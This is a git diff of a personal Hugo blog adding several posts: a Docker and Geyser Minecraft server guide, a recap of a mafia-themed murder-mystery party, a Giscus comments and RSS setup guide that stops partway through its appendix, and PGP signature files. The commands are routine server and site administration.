`"org.matrix.msc4140": true`. +- [ ] `/sfu/get` **preflight** returns **one** `Access-Control-Allow-Origin` and **200/204**. +- [ ] Starting a call creates **HTTP 101** entries to `wss://rtc.example.com` in `rtc.access.log`. +- [ ] LiveKit logs show **participants joining** (not just CreateRoom). +- [ ] `/voip/turnServer` returns time-limited TURN credentials. +- [ ] Cloudflare set to **DNS-only** for `rtc.*`. UFW allows 7881/tcp and your LiveKit UDP range. + +--- + +### Credits & tooling + +- Matrix Synapse, coTURN, LiveKit, Element Call. +- `curl`, `jq`, `docker compose logs`, Nginx access logs. These are your best friends. +- The debugging breakthrough was catching CORS errors in the browser console and looking for **HTTP 101** in Nginx logs. + +Happy calling! 🎉 + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/matrix_setup.md.asc b/static/sources/posts/matrix_setup.md.asc new file mode 100644 index 0000000..28056d5 --- /dev/null +++ b/static/sources/posts/matrix_setup.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3 +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2 +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6 +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss= +=yHZZ +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/minecraft_server.md b/static/sources/posts/minecraft_server.md new file mode 100644 index 0000000..8a70cd5 --- /dev/null +++ b/static/sources/posts/minecraft_server.md @@ -0,0 +1,200 @@ +--- +title: "Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases" +date: 2025-09-29T09:06:29Z +draft: false +tags: ["minecraft", "docker", "paper", "papermod", "geyser", "linux", "lvm"] +categories: ["Homelab", "Games"] +toc: true +summary: "How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release." +--- + +## Why +I’ve been running a Java Minecraft world (with Bedrock players via **Geyser**) in `tmux`. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit: + +- `failed to register layer: ... no space left on device` +- Client saying: **“Outdated client, please use 1.21.9 Pre-Release 2”** +- Wanting config in a neat `.env` and **no whitelist** + +Here’s exactly what I did. + +--- + +## Folder layout +```bash +~/minecraft/ +├─ docker-compose.yml +├─ .env +└─ plugins/ +``` + +--- + +## `.env` (secrets & knobs) +Use the **latest stable** (not snapshots/pre-releases) by setting `VERSION=LATEST`. + +```env +# Minecraft server configuration +EULA=TRUE +TYPE=PAPER +VERSION=LATEST +MEMORY=4G +USE_AIKAR_FLAGS=true + +# RCON (remote console) +ENABLE_RCON=true +RCON_PASSWORD=superSecretPassword123 +``` + +> I don’t use a whitelist, so no `WHITELIST`/`ENFORCE_WHITELIST` variables. + +--- + +## `docker-compose.yml` +```yaml +services: + mc: + image: itzg/minecraft-server:latest + container_name: mc + restart: unless-stopped + ports: + - "25565:25565" # Java + - "19132:19132/udp" # Bedrock via Geyser plugin + env_file: + - .env + volumes: + - mc-data:/data + - ./plugins:/plugins:ro +volumes: + mc-data: {} +``` + +> The `version:` key in Compose is obsolete now, so I dropped it. + +--- + +## Add Geyser (and optional Floodgate) as plugins +```bash +mkdir -p ~/minecraft/plugins +cd ~/minecraft/plugins + +# Geyser (Spigot/Paper) +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot -O Geyser-Spigot.jar + +# Floodgate (optional: Bedrock accounts without Java linking) +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot -O Floodgate-Spigot.jar +``` + +Start it up: +```bash +docker compose up -d +``` + +On first run, Geyser writes its config to `/data/plugins/Geyser-Spigot/`. Open UDP **19132** on your firewall. + +--- + +## Hit a wall: `/var` ran out of space +Docker stores layers at `/var/lib/docker` by default. My `/var` LV was tiny: + +``` +/dev/mapper/ubuntu--vg-var 3.9G 3.4G 333M 92% /var +``` + +### Quick cleanup +```bash +docker system df +docker system prune -f +docker builder prune -af +sudo apt-get clean +sudo journalctl --vacuum-size=100M +``` + +If that’s not enough, you have two good options: + +### Option A — Move Docker’s data off `/var` +```bash +sudo systemctl stop docker +sudo mkdir -p /home/docker +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/ +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json +sudo systemctl start docker +docker info | grep "Docker Root Dir" +``` +If all looks good, free the old space: +```bash +sudo rm -rf /var/lib/docker/* +``` + +### Option B — Grow `/var` (LVM) +Check free space in the VG: +```bash +sudo vgdisplay # look for "Free PE / Size" +``` +If available, extend `/var` by +5G: +```bash +sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var +sudo resize2fs /dev/mapper/ubuntu--vg-var +``` + +--- + +## The version mismatch: pre-release vs stable +My logs showed: +``` +Starting minecraft server version 1.21.9 Pre-Release 2 +``` +That happens if the server pulls a pre-release build (or if `VERSION=LATEST`). Fix: + +1. Ensure `.env` has: + ```env + VERSION=LATEST_RELEASE + ``` +2. Recreate: + ```bash + docker compose down + docker compose pull + docker compose up -d + ``` +3. Verify: + ```bash + docker logs mc | grep "Starting minecraft server version" + # -> Starting minecraft server version 1.21.1 (example) + ``` + +> Tip: If you **want to pin** and avoid auto-updates entirely, set `VERSION=1.21.1` (or whatever stable you’ve validated). + +--- + +## No whitelist +Because I don’t set `WHITELIST`/`ENFORCE_WHITELIST`, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via: +```bash +docker exec -it mc rcon-cli "op YourJavaIGN" +``` +(or edit `/data/ops.json`). + +--- + +## Backup & updates +- World/data live under the `mc-data` volume → back up `/data` regularly. +- Update cleanly: + ```bash + docker compose pull && docker compose up -d + ``` +- Watch space: + ```bash + watch -n5 'df -h /var; docker system df' + ``` + +--- + +## TL;DR +- Put **Geyser/Floodgate** jars in `./plugins` and expose **19132/udp**. +- Keep configs in `.env`. +- Fix `/var` space by pruning, **moving Docker’s data-root**, or **extending `/var`** via LVM. +- Verify version in logs after each change. + +Happy block-breaking! 🧱🚀 + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/minecraft_server.md.asc b/static/sources/posts/minecraft_server.md.asc new file mode 100644 index 0000000..f0e872d --- /dev/null +++ b/static/sources/posts/minecraft_server.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7 +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M= +=NmxL +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/murder_mystery_night.md b/static/sources/posts/murder_mystery_night.md new file mode 100644 index 0000000..0d99433 --- /dev/null +++ b/static/sources/posts/murder_mystery_night.md @@ -0,0 +1,224 @@ + +--- +title: "La Plaza: The Falcones & the Morettis" +date: 2025-10-25T07:52:53Z +draft: false +tags: ["crime fiction","mafia","family tree","noir"] +showToc: true +summary: "Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war." +--- + +Last night I attended a ZiS event called "the Murder Mystery night". + +The story was about two families. The Falcones, and the Moretti family. + +> Gold-embossed invitations arrive at **La Plaza** for a celebration of life honoring **Salvatore Falcone**, recently slain Don. All members of the Moretti family are invited to the party! + +## Family Trees + +{{< mermaid >}} +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
    underboss"] + Massimo["Massimo
    lawyer"] + Fabiola["Fabiola
    financial
    advisor"] + Aurora["Aurora
    associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] + Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] + Antonio["Antonio
    hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +{{< /mermaid >}} + +{{< mermaid >}} +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
    underboss"] + Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
    fixer"] + Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico +{{< /mermaid >}} + +--- + +## Who’s Who (quick dossiers) + +### Falcone notes +- **Salvatore Falcone (†)** — Former Don, killed under mysterious circumstances. +- **Serena** — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia. +- **Sophia** — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore. +- **Massimo** — Younger brother; justice-minded, hardened by his wife’s death. +- **Aurora** — Youngest; underestimated as naive or harmless, but observant. +- **Fabiola** — Ambitious financial brain; growth-focused, clashes with tradition. +- **Antonio** — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have. +- **Michelangelo** — Massimo’s son; enforcer torn by guilt over his mother’s murder. +- **Lorenzo** — Sophia’s son; quiet fixer who tidies messes, unflappable. + +### Moretti notes +- **Benito** — Calculating, paranoid Boss; obsessed with securing the bloodline through his son. +- **Nicoletta** — Benito’s wife; once a prostitute, now regal and cunning. +- **Sergio** — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the **game**. +- **Enrico** — Benito’s younger brother; accountant; clever, restless for influence. +- **Violetta** — The family’s ice-cold fixer; keeps things “clean,” whatever it costs. +- **Claudia** — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways. +- **Lucia** — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family. +- **Santo** — Lucia’s son; bold, admired and doubted in equal measure. + +Aside from these characters, there were two additional characters. +Falcon's priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them! + +> World sketch: the **Falcones** make problems *disappear* and launder fortunes behind bright lights and polished floors; the **Morettis** flaunt neon glamour while doing the real work in shadows. + +--- +After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon's house, and that I was out in a casino with Aurora. + +I didn't know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO + +So, without further of do, let's dive riiiiiiiiiight in!!!! Weeeee haaaaa xD + +### Act I, the dinner +We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that's what was written in our invitations. + +The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone. + +The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill. + +She said, "I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it." + +The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder. + +Violetta, our family’s ice-cold fixer, replied, "it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention". + +They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions. + +While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won't name here out of privacy). Thank you again for such an amazing event! + +### Act II, the invitations + +Sophia looked at us with her death smile and said, "I was involved with 9 invitations, the ones to our family, and nothing more." + +The room went into a deep silence. What did she mean? Who made Moretti's invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti's to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out? + +The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them. + +Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger... + +### Act III, the evidence +Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did. + +There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore's body from the other side. The third picture was of Salvatore's dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN. + +Massimo got up from his sit, pointing to an article about her wife's death. He stated how this was similar to her death, and how she died "The Moretti way". "She was shot and pushed down the stairs. What other evidence do you need?" said Massimo. + +Benito replied calmly, "But Salvatore didn't die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.". "Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.", said Sergio with a collected tone. + +Massimo wasn't convinced, but he knew they were right. He just could not forgive her wife's death. + +The room went into silence again. + +Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola's accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore's level, using the Falcones' casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it. + +In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: "Be careful". + +Serena pointed to Antonio, and he took out a piece of paper of the family's weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti's have with the youngest of the Falcones? + +Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio's report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones' that night, and that he was in a casino with Aurora; no further explanation was provided by him. + +Aurora didn't budge either. + +Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, "Doesn't that look like Santo's gun? Where were you that night, Santos?". "I was at home, with my mother", Santos replied, and Lucia nodded. + +It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up. + +### Act IV, the confessions + +The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard "there was another heir to Salvatore's fortune", that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child. + +The prostitute continued, "Benito ordered to kill her mistress before the child was born, but he didn't manage". She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage. + +Claudia wasn't feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her? + +The prostitute then continued. "Sergio is not Benito's son". Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito's son. Benito smiled. "Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause." + +Sergio did not smile, or any changes in his face. He was ice-cold. + +It was still not clear who plotted to kill Salvatore. Everyone was confused. + +It was time for deduction. + +### Act V, the killer(s) + +After a long discussion between all the family members, these were the conclusions. + +It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti's. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were. + +Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night. + +If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family's side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why? + +Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like "The Moretti" way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore's money, as with all ties broken, no one would suspect he was Salvatore's son. Nicoletta would also not talk, as she would lose everything if she confessed. + +Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn't mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti's side. + +It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday? + +Sophia was just disappointed with all of this. She didn't budge. + + +### The epilogue +Most people weren't sharing what they knew not to become sus! I didn't talk to everyone, but for example, the person who played Santo's role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I'm not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren't presenting everything they knew. + +Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event! + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/murder_mystery_night.md.asc b/static/sources/posts/murder_mystery_night.md.asc new file mode 100644 index 0000000..c94a370 --- /dev/null +++ b/static/sources/posts/murder_mystery_night.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+ +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw= +=3iUy +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/new_features.md b/static/sources/posts/new_features.md new file mode 100644 index 0000000..1ead872 --- /dev/null +++ b/static/sources/posts/new_features.md @@ -0,0 +1,759 @@ ++++ +title = "New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)" +description = "A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod." +date = 2025-10-23T19:31:12+02:00 +draft = false +slug = "comments-rss-papermod" +ShowToc = true +TocOpen = true +tags = ["hugo", "papermod", "giscus", "rss", "comments"] +categories = ["blog", "meta"] ++++ + +> Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +> Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. + +--- + +I've been wanting to add comment section to my blog for a while. +There are a few problems. +- I don't want to get attacked by bots or random people for no reason. +- I don't want to allow weird things to happen. +- I don't want to have a database for it. + +So... I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github: + +> **What the app can do** +> The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do. + +> **What “Act on your behalf” means** +> That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed. + +> **Do commenters have alternatives?** +> Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this. + +> **Privacy & storage** +> No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings. + +With the notice out of the way let's dive right in! + +--- + +## Why I chose Giscus (instead of Disqus) + +- **No ads or trackers** (my page weight thanks me). +- **Uses GitHub Discussions** (portable, transparent, easy to search). +- **Readers log in with GitHub** (no mystery auth popups). +- In theory you can directly go to the repo's discussion section and comment there! + +--- + +## What you need (for your site, not per user) + +- A Hugo site using **PaperMod** ✅ +- A GitHub account ✅ +- A **public** repository for the discussion threads (I called mine `blog-comments`) with **Discussions** enabled ✅ +- Giscus app installed on that repo ✅ + +If you like to keep your main site repo clean, use a separate one, e.g. `github-username/blog-comments`. + +--- + +## 1) Turn on comments with Giscus + +PaperMod renders a `comments.html` partial when `params.comments = true`. +So we enable it in config and create the partial. + +### 1.1 Enable comments globally + +`hugo.toml` (snippet) +```toml +[params] + comments = true +``` + +You can still opt out per post with `comments = false` in front matter. + +### 1.2 Create the comments partial + +Create this file **in your site** (not inside the theme): +``` +layouts/partials/comments.html +``` + +Paste the Giscus embed (swap the placeholders with yours from giscus.app): + +```html +
    + + +
    +``` + +**Notes** +- You’ll get `repo-id` and `category-id` from **giscus.app** after picking your repo + category. +- `data-mapping="pathname"` works great for static sites. +- Prefer a **public** repo so visitors can read discussions without friction. +- Want a different language? Change `data-lang` (e.g., `de`, `fr`). + +--- + +## 2) Enable RSS (home + sections) + +Hugo already knows how to generate feeds; we just tell it where. + +`hugo.toml` +```toml +baseURL = "https://example.com/" # set your production URL + +[outputs] + home = ["HTML", "RSS", "JSON"] # JSON is optional (e.g., for on-site search) + section = ["HTML", "RSS"] + taxonomy = ["HTML", "RSS"] + term = ["HTML", "RSS"] + +[services.rss] + limit = -1 # -1 = no cap; or set e.g. 20 +``` + +**Feed URLs** +- Home feed: `/index.xml` → `https://example.com/index.xml` +- Section feeds: `/posts/index.xml`, `/notes/index.xml`, etc. (folders are lowercase) + +> If you’re using a `.onion` address or staging domain, just set that in `baseURL`. +> Locally, Hugo serves feeds at `http://localhost:1313/index.xml`. + +--- + +## 3) Show an RSS button on the home page + +PaperMod shows a nice RSS icon on **section/taxonomy** lists by default (when enabled), but not on the home page. Two options: + +### Option A — Use the home “social icons” row +This appears if you enable **Home-Info** or **Profile** mode: + +```toml +[params.homeInfoParams] + Title = "Hello, internet!" + Content = "Notes, experiments, and occasional rabbit holes." + +[[params.socialIcons]] + name = "rss" # lowercase matters + url = "/index.xml" +``` + +### Option B — Add an icon in the footer (theme-safe) +Create: +``` +layouts/partials/extend_footer.html +``` + +Paste: +```html +
    + {{ partial "svg.html" (dict "name" "rss") }} + RSS + +``` + +Make it a sensible size: + +Create: +``` +assets/css/extended/rss.css +``` + +Paste: +```css +/* Small & aligned RSS icon in the footer */ +.rss-link { display: inline-flex; align-items: center; gap: .35rem; } +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/ +.rss-link span { font-size: .95rem; } +``` + +PaperMod auto-bundles anything under `assets/css/extended/`, so no extra imports needed. + +--- + +## 4) Verify everything + +Build or run dev: +```bash +hugo # outputs to ./public +# or +hugo server # serves at http://localhost:1313 +``` + +Check feeds: +```bash +# Home feed: +curl -s http://localhost:1313/index.xml | head + +# A section feed (adjust path to your section name): +curl -s http://localhost:1313/posts/index.xml | head +``` + +Check comments: +1. Open any post locally. +2. Scroll to the bottom — Giscus should appear. +3. Try a reaction or comment (you’ll be prompted to sign in with GitHub). + +--- + +## 5) Per-post controls (handy later) + +Turn comments off for a single post: +```toml +# in that post’s front matter +comments = false +``` + +Full content in RSS (global): +```toml +[params] + ShowFullTextinRSS = true +``` + +Show RSS buttons on section/taxonomy lists: +```toml +[params] + ShowRssButtonInSectionTermList = true +``` + +--- + +## 6) Troubleshooting (aka “what I bumped into”) + +- **Home page has no RSS icon** + That’s expected; either enable Home-Info/Profile mode + `socialIcons`, or use the footer partial. + +- **Section feed 404** + Folder names are lowercase (`content/posts/`, not `content/Posts/`). + The URL mirrors that: `/posts/index.xml`. + +- **Giscus doesn’t create a discussion** + Double-check the four attributes: `data-repo`, `data-repo-id`, `data-category`, `data-category-id`. + Make sure Discussions is enabled and the Giscus app is installed for the repo. + +- **Icon is comically large** + Keep the CSS above; 16–20px usually looks right. + +--- + +## 7) Bonus: fast setup via GitHub CLI (optional, I didn't use it, but I should've perhaps) + +```bash +# Create the public comments repo (adjust names) +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm + +# Enable Discussions for it +gh repo edit yourname/blog-comments --enable-discussions +``` + +Then visit **giscus.app**, select the repo + category (e.g. “Comments”), and copy the generated IDs into `layouts/partials/comments.html`. + +--- + +### Final config snapshot (condensed) + +```toml +baseURL = "https://example.com/" +theme = "PaperMod" + +[outputs] + home = ["HTML", "RSS", "JSON"] + section = ["HTML", "RSS"] + taxonomy = ["HTML", "RSS"] + term = ["HTML", "RSS"] + +[services.rss] + limit = -1 + +[params] + comments = true + ShowRssButtonInSectionTermList = true + ShowFullTextinRSS = true + +# Optional if using Home-Info/Profile mode: +# [[params.socialIcons]] +# name = "rss" +# url = "/index.xml" +``` +--- + +# Appendix — Why I added Isso, how I wired it, and what I fixed + +## The story (why Isso + why I still keep Giscus) + +I wanted comments that: +- allow **anonymous** replies (no GitHub account required), +- are **lightweight** and **self-hosted**, and +- can work on my **Tor `.onion` mirror**. + +**Isso** checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, 